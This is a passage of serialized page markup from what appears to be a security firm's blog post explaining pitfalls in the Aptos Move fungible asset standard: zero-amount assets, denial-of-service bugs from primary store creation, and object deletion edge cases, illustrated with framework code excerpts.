}\n}\n",[75359],{"type":25,"tag":264,"props":75360,"children":75361},{"__ignoreMap":7},[75362,75399,75451,75494,75501,75508,75580,75592,75630,75649,75656],{"type":25,"tag":271,"props":75363,"children":75364},{"class":13593,"line":13594},[75365,75369,75373,75378,75382,75387,75391,75395],{"type":25,"tag":271,"props":75366,"children":75367},{"style":13598},[75368],{"type":30,"value":10331},{"type":25,"tag":271,"props":75370,"children":75371},{"style":13598},[75372],{"type":30,"value":19335},{"type":25,"tag":271,"props":75374,"children":75375},{"style":13620},[75376],{"type":30,"value":75377}," destroy_zero",{"type":25,"tag":271,"props":75379,"children":75380},{"style":13625},[75381],{"type":30,"value":394},{"type":25,"tag":271,"props":75383,"children":75384},{"style":13598},[75385],{"type":30,"value":75386},"fungible_asset",{"type":25,"tag":271,"props":75388,"children":75389},{"style":13603},[75390],{"type":30,"value":359},{"type":25,"tag":271,"props":75392,"children":75393},{"style":13609},[75394],{"type":30,"value":74656},{"type":25,"tag":271,"props":75396,"children":75397},{"style":13625},[75398],{"type":30,"value":27925},{"type":25,"tag":271,"props":75400,"children":75401},{"class":13593,"line":11641},[75402,75406,75410,75414,75418,75422,75427,75431,75435,75439,75443,75447],{"type":25,"tag":271,"props":75403,"children":75404},{"style":14289},[75405],{"type":30,"value":16140},{"type":25,"tag":271,"props":75407,"children":75408},{"style":13609},[75409],{"type":30,"value":74656},{"type":25,"tag":271,"props":75411,"children":75412},{"style":13625},[75413],{"type":30,"value":22709},{"type":25,"tag":271,"props":75415,"children":75416},{"style":13598},[75417],{"type":30,"value":33427},{"type":25,"tag":271,"props":75419,"children":75420},{"style":13625},[75421],{"type":30,"value":44},{"type":25,"tag":271,"props":75423,"children":75424},{"style":13598},[75425],{"type":30,"value":75426},"metadata",{"type":25,"tag":271,"props":75428,"children":75429},{"style":13603},[75430],{"type":30,"value":359},{"type":25,"tag":271,"props":75432,"children":75433},{"style":13598},[75434],{"type":30,"value":16179},{"type":25,"tag":271,"props":75436,"children":75437},{"style":13625},[75438],{"type":30,"value":49314},{"type":25,"tag":271,"props":75440,"children":75441},{"style":13603},[75442],{"type":30,"value":1065},{"type":25,"tag":271,"props":75444,"children":75445},{"style":13598},[75446],{"type":30,"value":74922},{"type":25,"tag":271,"props":75448,"children":75449},{"style":13625},[75450],{"type":30,"value":16165},{"type":25,"tag":271,"props":75452,"children":75453},{"class":13593,"line":14354},[75454,75459,75463,75467,75471,75475,75480,75484,75489],{"type":25,"tag":271,"props":75455,"children":75456},{"style":13620},[75457],{"type":30,"value":75458},"    assert!",{"type":25,"tag":271,"props":75460,"children":75461},{"style":13625},[75462],{"type":30,"value":394},{"type":25,"tag":271,"props":75464,"children":75465},{"style":13598},[75466],{"type":30,"value":33427},{"type":25,"tag":271,"props":75468,"children":75469},{"style":13603},[75470],{"type":30,"value":16422},{"type":25,"tag":271,"props":75472,"children":75473},{"style":16187},[75474],{"type":30,"value":16190},{"type":25,"tag":271,"props":75476,"children":75477},{"style":13625},[75478],{"type":30,"value":75479},", error",{"type":25,"tag":271,"props":75481,"children":75482},{"style":13603},[75483],{"type":30,"value":13617},{"type":25,"tag":271,"props":75485,"children":75486},{"style":13620},[75487],{"type":30,"value":75488},"invalid_argument",{"type":25,"tag":271,"props":75490,"children":75491},{"style":13625},[75492],{"type":30,"value":75493},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":25,"tag":271,"props":75495,"children":75496},{"class":13593,"line":14391},[75497],{"type":25,"tag":271,"props":75498,"children":75499},{"style":13625},[75500],{"type":30,"value":17058},{"type":25,"tag":271,"props":75502,"children":75503},{"class":13593,"line":14400},[75504],{"type":25,"tag":271,"props":75505,"children":75506},{"emptyLinePlaceholder":18},[75507],{"type":30,"value":16829},{"type":25,"tag":271,"props":75509,"children":75510},{"class":13593,"line":16406},[75511,75515,75519,75524,75528,75532,75536,75540,75544,75548,75552,75556,75560,75564,75568,75572,75576],{"type":25,"tag":271,"props":75512,"children":75513},{"style":13598},[75514],{"type":30,"value":10331},{"type":25,"tag":271,"props":75516,"children":75517},{"style":13598},[75518],{"type":30,"value":19335},{"type":25,"tag":271,"props":75520,"children":75521},{"style":13598},[75522],{"type":30,"value":75523}," zero",{"type":25,"tag":271,"props":75525,"children":75526},{"style":13625},[75527],{"type":30,"value":14307},{"type":25,"tag":271,"props":75529,"children":75530},{"style":13609},[75531],{"type":30,"value":301},{"type":25,"tag":271,"props":75533,"children":75534},{"style":13603},[75535],{"type":30,"value":359},{"type":25,"tag":271,"props":75537,"children":75538},{"style":13598},[75539],{"type":30,"value":19063},{"type":25,"tag":271,"props":75541,"children":75542},{"style":13625},[75543],{"type":30,"value":20732},{"type":25,"tag":271,"props":75545,"children":75546},{"style":13598},[75547],{"type":30,"value":75426},{"type":25,"tag":271,"props":75549,"children":75550},{"style":13603},[75551],{"type":30,"value":359},{"type":25,"tag":271,"props":75553,"children":75554},{"style":13609},[75555],{"type":30,"value":74677},{"type":25,"tag":271,"props":75557,"children":75558},{"style":13625},[75559],{"type":30,"value":14307},{"type":25,"tag":271,"props":75561,"children":75562},{"style":13609},[75563],{"type":30,"value":301},{"type":25,"tag":271,"props":75565,"children":75566},{"style":13625},[75567],{"type":30,"value":21509},{"type":25,"tag":271,"props":75569,"children":75570},{"style":13603},[75571],{"type":30,"value":359},{"type":25,"tag":271,"props":75573,"children":75574},{"style":13609},[75575],{"type":30,"value":74656},{"type":25,"tag":271,"props":75577,"children":75578},{"style":13625},[75579],{"type":30,"value":16431},{"type":25,"tag":271,"props":75581,"children":75582},{"class":13593,"line":16434},[75583,75588],{"type":25,"tag":271,"props":75584,"children":75585},{"style":13609},[75586],{"type":30,"value":75587},"    FungibleAsset",{"type":25,"tag":271,"props":75589,"children":75590},{"style":13625},[75591],{"type":30,"value":16431},{"type":25,"tag":271,"props":75593,"children":75594},{"class":13593,"line":16447},[75595,75600,75604,75609,75613,75618,75622,75626],{"type":25,"tag":271,"props":75596,"children":75597},{"style":13598},[75598],{"type":30,"value":75599},"        metadata",{"type":25,"tag":271,"props":75601,"children":75602},{"style":13603},[75603],{"type":30,"value":359},{"type":25,"tag":271,"props":75605,"children":75606},{"style":13625},[75607],{"type":30,"value":75608}," object",{"type":25,"tag":271,"props":75610,"children":75611},{"style":13603},[75612],{"type":30,"value":13617},{"type":25,"tag":271,"props":75614,"children":75615},{"style":13620},[75616],{"type":30,"value":75617},"convert",{"type":25,"tag":271,"props":75619,"children":75620},{"style":13625},[75621],{"type":30,"value":394},{"type":25,"tag":271,"props":75623,"children":75624},{"style":13598},[75625],{"type":30,"value":75426},{"type":25,"tag":271,"props":75627,"children":75628},{"style":13625},[75629],{"type":30,"value":19860},{"type":25,"tag":271,"props":75631,"children":75632},{"class":13593,"line":16465},[75633,75637,75641,75645],{"type":25,"tag":271,"props":75634,"children":75635},{"style":13598},[75636],{"type":30,"value":20572},{"type":25,"tag":271,"props":75638,"children":75639},{"style":13603},[75640],{"type":30,"value":359},{"type":25,"tag":271,"props":75642,"children":75643},{"style":16187},[75644],{"type":30,"value":16190},{"type":25,"tag":271,"props":75646,"children":75647},{"style":13625},[75648],{"type":30,"value":14351},{"type":25,"tag":271,"props":75650,"children":75651},{"class":13593,"line":16486},[75652],{"type":25,"tag":271,"props":75653,"children":75654},{"style":13625},[75655],{"type":30,"value":16501},{"type":25,"tag":271,"props":75657,"children":75658},{"class":13593,"line":16495},[75659],{"type":25,"tag":271,"props":75660,"children":75661},{"style":13625},[75662],{"type":30,"value":17058},{"type":25,"tag":26,"props":75664,"children":75665},{},[75666],{"type":30,"value":75667},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":25,"tag":26,"props":75669,"children":75670},{},[75671,75673,75678],{"type":30,"value":75672},"In practice, the ability to freely mint and burn zero ",{"type":25,"tag":264,"props":75674,"children":75676},{"className":75675},[],[75677],{"type":30,"value":74769},{"type":30,"value":75679}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":25,"tag":247,"props":75681,"children":75683},{"id":75682},"primary-and-secondary-stores",[75684],{"type":30,"value":75685},"Primary and secondary stores",{"type":25,"tag":26,"props":75687,"children":75688},{},[75689,75695,75697,75703,75705,75710],{"type":25,"tag":264,"props":75690,"children":75692},{"className":75691},[],[75693],{"type":30,"value":75694},"FungibleStores",{"type":30,"value":75696}," in comparison to ",{"type":25,"tag":264,"props":75698,"children":75700},{"className":75699},[],[75701],{"type":30,"value":75702},"CoinStores",{"type":30,"value":75704}," are not unique. Each user can have multiple ",{"type":25,"tag":264,"props":75706,"children":75708},{"className":75707},[],[75709],{"type":30,"value":75190},{"type":30,"value":75711}," objects for a given token!",{"type":25,"tag":26,"props":75713,"children":75714},{},[75715,75717,75724,75726,75731],{"type":30,"value":75716},"A primary fungible store is maintained via the aptly named ",{"type":25,"tag":83,"props":75718,"children":75721},{"href":75719,"rel":75720},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[9066],[75722],{"type":30,"value":75723},"primary_fungible_store",{"type":30,"value":75725}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":25,"tag":264,"props":75727,"children":75729},{"className":75728},[],[75730],{"type":30,"value":74686},{"type":30,"value":75732}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":25,"tag":26,"props":75734,"children":75735},{},[75736],{"type":30,"value":75737},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":25,"tag":7764,"props":75739,"children":75741},{"className":13586,"code":75740,"language":13585,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[75742],{"type":25,"tag":264,"props":75743,"children":75744},{"__ignoreMap":7},[75745,75770,75802,75825,75841,75895,75910],{"type":25,"tag":271,"props":75746,"children":75747},{"class":13593,"line":13594},[75748,75752,75757,75761,75766],{"type":25,"tag":271,"props":75749,"children":75750},{"style":13598},[75751],{"type":30,"value":10331},{"type":25,"tag":271,"props":75753,"children":75754},{"style":13598},[75755],{"type":30,"value":75756}," entry",{"type":25,"tag":271,"props":75758,"children":75759},{"style":13598},[75760],{"type":30,"value":19335},{"type":25,"tag":271,"props":75762,"children":75763},{"style":13620},[75764],{"type":30,"value":75765}," register",{"type":25,"tag":271,"props":75767,"children":75768},{"style":13625},[75769],{"type":30,"value":16609},{"type":25,"tag":271,"props":75771,"children":75772},{"class":13593,"line":11641},[75773,75778,75782,75786,75790,75794,75798],{"type":25,"tag":271,"props":75774,"children":75775},{"style":13598},[75776],{"type":30,"value":75777},"    user",{"type":25,"tag":271,"props":75779,"children":75780},{"style":13603},[75781],{"type":30,"value":359},{"type":25,"tag":271,"props":75783,"children":75784},{"style":13603},[75785],{"type":30,"value":14341},{"type":25,"tag":271,"props":75787,"children":75788},{"style":13598},[75789],{"type":30,"value":20269},{"type":25,"tag":271,"props":75791,"children":75792},{"style":13625},[75793],{"type":30,"value":57251},{"type":25,"tag":271,"props":75795,"children":75796},{"style":13603},[75797],{"type":30,"value":22714},{"type":25,"tag":271,"props":75799,"children":75800},{"style":13625},[75801],{"type":30,"value":24897},{"type":25,"tag":271,"props":75803,"children":75804},{"class":13593,"line":14354},[75805,75809,75813,75817,75821],{"type":25,"tag":271,"props":75806,"children":75807},{"style":13625},[75808],{"type":30,"value":14406},{"type":25,"tag":271,"props":75810,"children":75811},{"style":13598},[75812],{"type":30,"value":19472},{"type":25,"tag":271,"props":75814,"children":75815},{"style":13625},[75816],{"type":30,"value":36132},{"type":25,"tag":271,"props":75818,"children":75819},{"style":13603},[75820],{"type":30,"value":22714},{"type":25,"tag":271,"props":75822,"children":75823},{"style":13625},[75824],{"type":30,"value":74881},{"type":25,"tag":271,"props":75826,"children":75827},{"class":13593,"line":14391},[75828,75833,75837],{"type":25,"tag":271,"props":75829,"children":75830},{"style":13625},[75831],{"type":30,"value":75832},"    [",{"type":25,"tag":271,"props":75834,"children":75835},{"style":13603},[75836],{"type":30,"value":22714},{"type":25,"tag":271,"props":75838,"children":75839},{"style":13625},[75840],{"type":30,"value":24897},{"type":25,"tag":271,"props":75842,"children":75843},{"class":13593,"line":14400},[75844,75848,75853,75857,75862,75866,75870,75874,75878,75882,75886,75891],{"type":25,"tag":271,"props":75845,"children":75846},{"style":14289},[75847],{"type":30,"value":16140},{"type":25,"tag":271,"props":75849,"children":75850},{"style":13598},[75851],{"type":30,"value":75852}," wallet_store",{"type":25,"tag":271,"props":75854,"children":75855},{"style":13603},[75856],{"type":30,"value":16155},{"type":25,"tag":271,"props":75858,"children":75859},{"style":13620},[75860],{"type":30,"value":75861}," create_primary_store",{"type":25,"tag":271,"props":75863,"children":75864},{"style":13625},[75865],{"type":30,"value":20323},{"type":25,"tag":271,"props":75867,"children":75868},{"style":13603},[75869],{"type":30,"value":13617},{"type":25,"tag":271,"props":75871,"children":75872},{"style":13620},[75873],{"type":30,"value":20332},{"type":25,"tag":271,"props":75875,"children":75876},{"style":13625},[75877],{"type":30,"value":394},{"type":25,"tag":271,"props":75879,"children":75880},{"style":13598},[75881],{"type":30,"value":74976},{"type":25,"tag":271,"props":75883,"children":75884},{"style":13625},[75885],{"type":30,"value":28299},{"type":25,"tag":271,"props":75887,"children":75888},{"style":13620},[75889],{"type":30,"value":75890},"get_metadata",{"type":25,"tag":271,"props":75892,"children":75893},{"style":13625},[75894],{"type":30,"value":28546},{"type":25,"tag":271,"props":75896,"children":75897},{"class":13593,"line":16406},[75898,75902,75906],{"type":25,"tag":271,"props":75899,"children":75900},{"style":13625},[75901],{"type":30,"value":75832},{"type":25,"tag":271,"props":75903,"children":75904},{"style":13603},[75905],{"type":30,"value":22714},{"type":25,"tag":271,"props":75907,"children":75908},{"style":13625},[75909],{"type":30,"value":24897},{"type":25,"tag":271,"props":75911,"children":75912},{"class":13593,"line":16434},[75913],{"type":25,"tag":271,"props":75914,"children":75915},{"style":13625},[75916],{"type":30,"value":17058},{"type":25,"tag":26,"props":75918,"children":75919},{},[75920,75921,75927,75929,75935],{"type":30,"value":10272},{"type":25,"tag":264,"props":75922,"children":75924},{"className":75923},[],[75925],{"type":30,"value":75926},"create_primary_store",{"type":30,"value":75928}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":25,"tag":264,"props":75930,"children":75932},{"className":75931},[],[75933],{"type":30,"value":75934},"ensure_primary_store_exists",{"type":30,"value":75936}," is recommended to avoid such issues.",{"type":25,"tag":96,"props":75938,"children":75940},{"id":75939},"fungible-assets-and-objects",[75941],{"type":30,"value":75942},"Fungible assets and objects",{"type":25,"tag":26,"props":75944,"children":75945},{},[75946,75948,75953,75955,75962],{"type":30,"value":75947},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":25,"tag":264,"props":75949,"children":75951},{"className":75950},[],[75952],{"type":30,"value":61967},{"type":30,"value":75954}," module, introduced in ",{"type":25,"tag":83,"props":75956,"children":75959},{"href":75957,"rel":75958},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[9066],[75960],{"type":30,"value":75961},"AIP-10",{"type":30,"value":1860},{"type":25,"tag":16074,"props":75964,"children":75965},{},[75966],{"type":25,"tag":26,"props":75967,"children":75968},{},[75969,75973],{"type":25,"tag":271,"props":75970,"children":75971},{},[75972],{"type":30,"value":74566},{"type":30,"value":75974}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":25,"tag":26,"props":75976,"children":75977},{},[75978],{"type":30,"value":75979},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":25,"tag":247,"props":75981,"children":75983},{"id":75982},"creation-and-deletion",[75984],{"type":30,"value":75985},"Creation and deletion",{"type":25,"tag":26,"props":75987,"children":75988},{},[75989,75991,75997],{"type":30,"value":75990},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":25,"tag":264,"props":75992,"children":75994},{"className":75993},[],[75995],{"type":30,"value":75996},"fungible_asset::add_fungibility",{"type":30,"value":359},{"type":25,"tag":7764,"props":75999,"children":76001},{"className":13586,"code":76000,"language":13585,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[76002],{"type":25,"tag":264,"props":76003,"children":76004},{"__ignoreMap":7},[76005],{"type":25,"tag":271,"props":76006,"children":76007},{"class":13593,"line":13594},[76008,76012,76016,76020,76025,76029,76034,76038,76043,76048,76052,76056],{"type":25,"tag":271,"props":76009,"children":76010},{"style":13620},[76011],{"type":30,"value":55096},{"type":25,"tag":271,"props":76013,"children":76014},{"style":13625},[76015],{"type":30,"value":394},{"type":25,"tag":271,"props":76017,"children":76018},{"style":13603},[76019],{"type":30,"value":33742},{"type":25,"tag":271,"props":76021,"children":76022},{"style":13625},[76023],{"type":30,"value":76024},"object",{"type":25,"tag":271,"props":76026,"children":76027},{"style":13603},[76028],{"type":30,"value":13617},{"type":25,"tag":271,"props":76030,"children":76031},{"style":13620},[76032],{"type":30,"value":76033},"can_generate_delete_ref",{"type":25,"tag":271,"props":76035,"children":76036},{"style":13625},[76037],{"type":30,"value":394},{"type":25,"tag":271,"props":76039,"children":76040},{"style":13598},[76041],{"type":30,"value":76042},"constructor_ref",{"type":25,"tag":271,"props":76044,"children":76045},{"style":13625},[76046],{"type":30,"value":76047},"), error",{"type":25,"tag":271,"props":76049,"children":76050},{"style":13603},[76051],{"type":30,"value":13617},{"type":25,"tag":271,"props":76053,"children":76054},{"style":13620},[76055],{"type":30,"value":75488},{"type":25,"tag":271,"props":76057,"children":76058},{"style":13625},[76059],{"type":30,"value":76060},"(EOBJECT_IS_DELETABLE));\n",{"type":25,"tag":26,"props":76062,"children":76063},{},[76064,76066,76071,76073,76078,76079,76086],{"type":30,"value":76065},"This object serves as the foundation for ownership tokens in the form of a ",{"type":25,"tag":264,"props":76067,"children":76069},{"className":76068},[],[76070],{"type":30,"value":74627},{"type":30,"value":76072},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":25,"tag":264,"props":76074,"children":76076},{"className":76075},[],[76077],{"type":30,"value":75996},{"type":30,"value":14096},{"type":25,"tag":83,"props":76080,"children":76083},{"href":76081,"rel":76082},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[9066],[76084],{"type":30,"value":76085},"lacked this assert",{"type":30,"value":76087},", which we discovered and reported.",{"type":25,"tag":26,"props":76089,"children":76090},{},[76091,76096,76098,76103,76105,76110],{"type":25,"tag":264,"props":76092,"children":76094},{"className":76093},[],[76095],{"type":30,"value":75996},{"type":30,"value":76097}," transfers the ",{"type":25,"tag":264,"props":76099,"children":76101},{"className":76100},[],[76102],{"type":30,"value":74686},{"type":30,"value":76104}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":25,"tag":264,"props":76106,"children":76108},{"className":76107},[],[76109],{"type":30,"value":74627},{"type":30,"value":76111}," can be minted, representing a share of ownership in that object.",{"type":25,"tag":7764,"props":76113,"children":76115},{"className":13586,"code":76114,"language":13585,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[76116],{"type":25,"tag":264,"props":76117,"children":76118},{"__ignoreMap":7},[76119,76127,76147,76162,76189,76204,76225,76237,76249,76261,76273,76285,76297,76304,76311,76326],{"type":25,"tag":271,"props":76120,"children":76121},{"class":13593,"line":13594},[76122],{"type":25,"tag":271,"props":76123,"children":76124},{"style":14385},[76125],{"type":30,"value":76126},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":25,"tag":271,"props":76128,"children":76129},{"class":13593,"line":11641},[76130,76134,76138,76143],{"type":25,"tag":271,"props":76131,"children":76132},{"style":13598},[76133],{"type":30,"value":10331},{"type":25,"tag":271,"props":76135,"children":76136},{"style":13598},[76137],{"type":30,"value":19335},{"type":25,"tag":271,"props":76139,"children":76140},{"style":13620},[76141],{"type":30,"value":76142}," add_fungibility",{"type":25,"tag":271,"props":76144,"children":76145},{"style":13625},[76146],{"type":30,"value":16609},{"type":25,"tag":271,"props":76148,"children":76149},{"class":13593,"line":14354},[76150,76154,76158],{"type":25,"tag":271,"props":76151,"children":76152},{"style":13625},[76153],{"type":30,"value":75832},{"type":25,"tag":271,"props":76155,"children":76156},{"style":13603},[76157],{"type":30,"value":22714},{"type":25,"tag":271,"props":76159,"children":76160},{"style":13625},[76161],{"type":30,"value":24897},{"type":25,"tag":271,"props":76163,"children":76164},{"class":13593,"line":14391},[76165,76169,76173,76177,76181,76185],{"type":25,"tag":271,"props":76166,"children":76167},{"style":13625},[76168],{"type":30,"value":440},{"type":25,"tag":271,"props":76170,"children":76171},{"style":13603},[76172],{"type":30,"value":359},{"type":25,"tag":271,"props":76174,"children":76175},{"style":13609},[76176],{"type":30,"value":74677},{"type":25,"tag":271,"props":76178,"children":76179},{"style":13625},[76180],{"type":30,"value":14307},{"type":25,"tag":271,"props":76182,"children":76183},{"style":13609},[76184],{"type":30,"value":74686},{"type":25,"tag":271,"props":76186,"children":76187},{"style":13625},[76188],{"type":30,"value":20404},{"type":25,"tag":271,"props":76190,"children":76191},{"class":13593,"line":14400},[76192,76196,76200],{"type":25,"tag":271,"props":76193,"children":76194},{"style":13625},[76195],{"type":30,"value":75832},{"type":25,"tag":271,"props":76197,"children":76198},{"style":13603},[76199],{"type":30,"value":22714},{"type":25,"tag":271,"props":76201,"children":76202},{"style":13625},[76203],{"type":30,"value":24897},{"type":25,"tag":271,"props":76205,"children":76206},{"class":13593,"line":16406},[76207,76212,76216,76221],{"type":25,"tag":271,"props":76208,"children":76209},{"style":13620},[76210],{"type":30,"value":76211},"    move_to",{"type":25,"tag":271,"props":76213,"children":76214},{"style":13625},[76215],{"type":30,"value":394},{"type":25,"tag":271,"props":76217,"children":76218},{"style":13598},[76219],{"type":30,"value":76220},"metadata_object_signer",{"type":25,"tag":271,"props":76222,"children":76223},{"style":13625},[76224],{"type":30,"value":14351},{"type":25,"tag":271,"props":76226,"children":76227},{"class":13593,"line":16434},[76228,76233],{"type":25,"tag":271,"props":76229,"children":76230},{"style":13609},[76231],{"type":30,"value":76232},"        Metadata",{"type":25,"tag":271,"props":76234,"children":76235},{"style":13625},[76236],{"type":30,"value":16431},{"type":25,"tag":271,"props":76238,"children":76239},{"class":13593,"line":16447},[76240,76245],{"type":25,"tag":271,"props":76241,"children":76242},{"style":13598},[76243],{"type":30,"value":76244},"            name",{"type":25,"tag":271,"props":76246,"children":76247},{"style":13625},[76248],{"type":30,"value":14351},{"type":25,"tag":271,"props":76250,"children":76251},{"class":13593,"line":16465},[76252,76257],{"type":25,"tag":271,"props":76253,"children":76254},{"style":13598},[76255],{"type":30,"value":76256},"            symbol",{"type":25,"tag":271,"props":76258,"children":76259},{"style":13625},[76260],{"type":30,"value":14351},{"type":25,"tag":271,"props":76262,"children":76263},{"class":13593,"line":16486},[76264,76269],{"type":25,"tag":271,"props":76265,"children":76266},{"style":13598},[76267],{"type":30,"value":76268},"            decimals",{"type":25,"tag":271,"props":76270,"children":76271},{"style":13625},[76272],{"type":30,"value":14351},{"type":25,"tag":271,"props":76274,"children":76275},{"class":13593,"line":16495},[76276,76281],{"type":25,"tag":271,"props":76277,"children":76278},{"style":13598},[76279],{"type":30,"value":76280},"            icon_uri",{"type":25,"tag":271,"props":76282,"children":76283},{"style":13625},[76284],{"type":30,"value":14351},{"type":25,"tag":271,"props":76286,"children":76287},{"class":13593,"line":16744},[76288,76293],{"type":25,"tag":271,"props":76289,"children":76290},{"style":13598},[76291],{"type":30,"value":76292},"            project_uri",{"type":25,"tag":271,"props":76294,"children":76295},{"style":13625},[76296],{"type":30,"value":14351},{"type":25,"tag":271,"props":76298,"children":76299},{"class":13593,"line":16761},[76300],{"type":25,"tag":271,"props":76301,"children":76302},{"style":13625},[76303],{"type":30,"value":16492},{"type":25,"tag":271,"props":76305,"children":76306},{"class":13593,"line":16778},[76307],{"type":25,"tag":271,"props":76308,"children":76309},{"style":13625},[76310],{"type":30,"value":56770},{"type":25,"tag":271,"props":76312,"children":76313},{"class":13593,"line":16791},[76314,76318,76322],{"type":25,"tag":271,"props":76315,"children":76316},{"style":13625},[76317],{"type":30,"value":5604},{"type":25,"tag":271,"props":76319,"children":76320},{"style":13603},[76321],{"type":30,"value":22714},{"type":25,"tag":271,"props":76323,"children":76324},{"style":13625},[76325],{"type":30,"value":24897},{"type":25,"tag":271,"props":76327,"children":76328},{"class":13593,"line":16800},[76329],{"type":25,"tag":271,"props":76330,"children":76331},{"style":13625},[76332],{"type":30,"value":17058},{"type":25,"tag":92,"props":76334,"children":76335},{},[],{"type":25,"tag":26,"props":76337,"children":76338},{},[76339,76341,76346,76348,76353],{"type":30,"value":76340},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":25,"tag":264,"props":76342,"children":76344},{"className":76343},[],[76345],{"type":30,"value":75190},{"type":30,"value":76347}," is also an object, and a \"secondary\" ",{"type":25,"tag":264,"props":76349,"children":76351},{"className":76350},[],[76352],{"type":30,"value":75190},{"type":30,"value":76354}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":25,"tag":7764,"props":76356,"children":76358},{"className":13586,"code":76357,"language":13585,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[76359],{"type":25,"tag":264,"props":76360,"children":76361},{"__ignoreMap":7},[76362,76370,76412,76419,76427],{"type":25,"tag":271,"props":76363,"children":76364},{"class":13593,"line":13594},[76365],{"type":25,"tag":271,"props":76366,"children":76367},{"style":14385},[76368],{"type":30,"value":76369},"//Fungible asset\n",{"type":25,"tag":271,"props":76371,"children":76372},{"class":13593,"line":11641},[76373,76377,76381,76386,76390,76395,76399,76403,76408],{"type":25,"tag":271,"props":76374,"children":76375},{"style":13598},[76376],{"type":30,"value":10331},{"type":25,"tag":271,"props":76378,"children":76379},{"style":13598},[76380],{"type":30,"value":19335},{"type":25,"tag":271,"props":76382,"children":76383},{"style":13620},[76384],{"type":30,"value":76385}," remove_store",{"type":25,"tag":271,"props":76387,"children":76388},{"style":13625},[76389],{"type":30,"value":394},{"type":25,"tag":271,"props":76391,"children":76392},{"style":13598},[76393],{"type":30,"value":76394},"delete_ref",{"type":25,"tag":271,"props":76396,"children":76397},{"style":13603},[76398],{"type":30,"value":359},{"type":25,"tag":271,"props":76400,"children":76401},{"style":13603},[76402],{"type":30,"value":14341},{"type":25,"tag":271,"props":76404,"children":76405},{"style":13609},[76406],{"type":30,"value":76407},"DeleteRef",{"type":25,"tag":271,"props":76409,"children":76410},{"style":13625},[76411],{"type":30,"value":16299},{"type":25,"tag":271,"props":76413,"children":76414},{"class":13593,"line":14354},[76415],{"type":25,"tag":271,"props":76416,"children":76417},{"emptyLinePlaceholder":18},[76418],{"type":30,"value":16829},{"type":25,"tag":271,"props":76420,"children":76421},{"class":13593,"line":14391},[76422],{"type":25,"tag":271,"props":76423,"children":76424},{"style":14385},[76425],{"type":30,"value":76426},"//Object\n",{"type":25,"tag":271,"props":76428,"children":76429},{"class":13593,"line":14400},[76430,76434,76438,76443,76447,76452,76456,76461],{"type":25,"tag":271,"props":76431,"children":76432},{"style":13598},[76433],{"type":30,"value":10331},{"type":25,"tag":271,"props":76435,"children":76436},{"style":13598},[76437],{"type":30,"value":19335},{"type":25,"tag":271,"props":76439,"children":76440},{"style":13620},[76441],{"type":30,"value":76442}," delete",{"type":25,"tag":271,"props":76444,"children":76445},{"style":13625},[76446],{"type":30,"value":394},{"type":25,"tag":271,"props":76448,"children":76449},{"style":14289},[76450],{"type":30,"value":76451},"ref",{"type":25,"tag":271,"props":76453,"children":76454},{"style":13603},[76455],{"type":30,"value":359},{"type":25,"tag":271,"props":76457,"children":76458},{"style":13609},[76459],{"type":30,"value":76460}," DeleteRef",{"type":25,"tag":271,"props":76462,"children":76463},{"style":13625},[76464],{"type":30,"value":16299},{"type":25,"tag":26,"props":76466,"children":76467},{},[76468,76470,76476,76478,76483,76485,76490,76492,76497,76499,76505,76507,76513,76515,76520],{"type":30,"value":76469},"When ",{"type":25,"tag":264,"props":76471,"children":76473},{"className":76472},[],[76474],{"type":30,"value":76475},"object::delete",{"type":30,"value":76477}," removes the ",{"type":25,"tag":264,"props":76479,"children":76481},{"className":76480},[],[76482],{"type":30,"value":61967},{"type":30,"value":76484}," from a ",{"type":25,"tag":264,"props":76486,"children":76488},{"className":76487},[],[76489],{"type":30,"value":75190},{"type":30,"value":76491}," object, the ",{"type":25,"tag":264,"props":76493,"children":76495},{"className":76494},[],[76496],{"type":30,"value":75190},{"type":30,"value":76498}," resource becomes permanently undeletable. This is because ",{"type":25,"tag":264,"props":76500,"children":76502},{"className":76501},[],[76503],{"type":30,"value":76504},"remove_store",{"type":30,"value":76506}," can't create an ",{"type":25,"tag":264,"props":76508,"children":76510},{"className":76509},[],[76511],{"type":30,"value":76512},"Object\u003CFungibleStore>",{"type":30,"value":76514}," without an 